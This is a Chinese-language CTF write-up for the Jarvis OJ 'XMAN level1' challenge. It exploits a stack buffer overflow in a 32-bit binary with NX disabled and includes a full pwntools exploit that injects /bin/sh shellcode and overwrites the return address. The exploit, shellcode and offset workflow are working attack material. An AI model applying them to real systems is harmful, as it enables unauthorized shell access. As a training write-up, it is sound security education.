XMAN-level1

Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level1.

题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。

首先使用 file 命令查看文件

file level1.80eacdcd51aca92af7749d96efad7fb5 
level1.80eacdcd51aca92af7749d96efad7fb5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped

程序是32位 ELF 文件

使用 checksec 查看文件保护机制 (gdb peda插件

gdb level1.80eacdcd51aca92af7749d96efad7fb5

gdb-peda$ checksec  
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial  

用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞

ssize_t vulnerable_function()
{
    char buf; // [sp+0h] [bp-88h]@1

    printf("What's this:%p?\n", &buf);
    return read(0, &buf, 0x100u);
}

同时,程序并没有开启 NX 保护机制,因此只要将 shellcode 写入缓冲区,然后构造 payload 覆盖返回地址,将程序转到缓冲区的 shellcode 处执行,即可getshell。

接下来确定溢出点的位置,使用 pattern 来计算

gdb-peda$ pattern create 150 payload
Writing pattern of 150 chars to filename "payload"
gdb-peda$ run < payload 
Starting program: /home/xxx/pwn/XMAN/level1/level1.80eacdcd51aca92af7749d96efad7fb5 < payload
What's this:0xffffcde0?

Program received signal SIGSEGV, Segmentation fault.

Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140 

成功计算出溢出点偏移为140字节

此外,同样可以直接阅读反汇编代码,计算溢出点

.text:0804847B                 public vulnerable_function
.text:0804847B vulnerable_function proc near           ; CODE XREF: main+11p
.text:0804847B
.text:0804847B buf             = byte ptr -88h
.text:0804847B
.text:0804847B                 push    ebp
.text:0804847C                 mov     ebp, esp
.text:0804847E                 sub     esp, 88h
.text:08048484                 sub     esp, 8
.text:08048487                 lea     eax, [ebp+buf]
.text:0804848D                 push    eax
.text:0804848E                 push    offset format   ; "What's this:%p?\n"
.text:08048493                 call    _printf
.text:08048498                 add     esp, 10h
.text:0804849B                 sub     esp, 4
.text:0804849E                 push    100h            ; nbytes
.text:080484A3                 lea     eax, [ebp+buf]
.text:080484A9                 push    eax             ; buf
.text:080484AA                 push    0               ; fd
.text:080484AC                 call    _read
.text:080484B1                 add     esp, 10h
.text:080484B4                 nop
.text:080484B5                 leave
.text:080484B6                 retn
.text:080484B6 vulnerable_function endp

从 vulnerable_function 代码中可以看出,在栈帧中缓冲区在 ebp-88h 处,因此 ebp 相对缓冲区的偏移为 0x88,返回地址的偏移为 0x88+0x4=0x8C(140)

使用 pwntools 编写 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys

from pwn import *

def main(local=False):
    if local:
        context.log_level = 'debug'
        io = process('./level1.80eacdcd51aca92af7749d96efad7fb5')
    else:
        context.log_level = 'info'
        io = remote('pwn2.jarvisoj.com', 9877)

    io.recvuntil('What\'s this:')
    ret = io.recv(10)
    ret = int(ret, 16)

    shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'

    payload = shellcode
    payload += 'A' * (140-len(shellcode))
    payload += p32(ret)

    io.sendline(payload)

    io.interactive()

if __name__ == '__main__':
    if len(sys.argv) >= 2 and sys.argv[1] == 'local':
        main(True)
    else:
        main()

reference
一步一步学ROP之linux_x86篇
一步一步学ROP之linux_x64篇

0%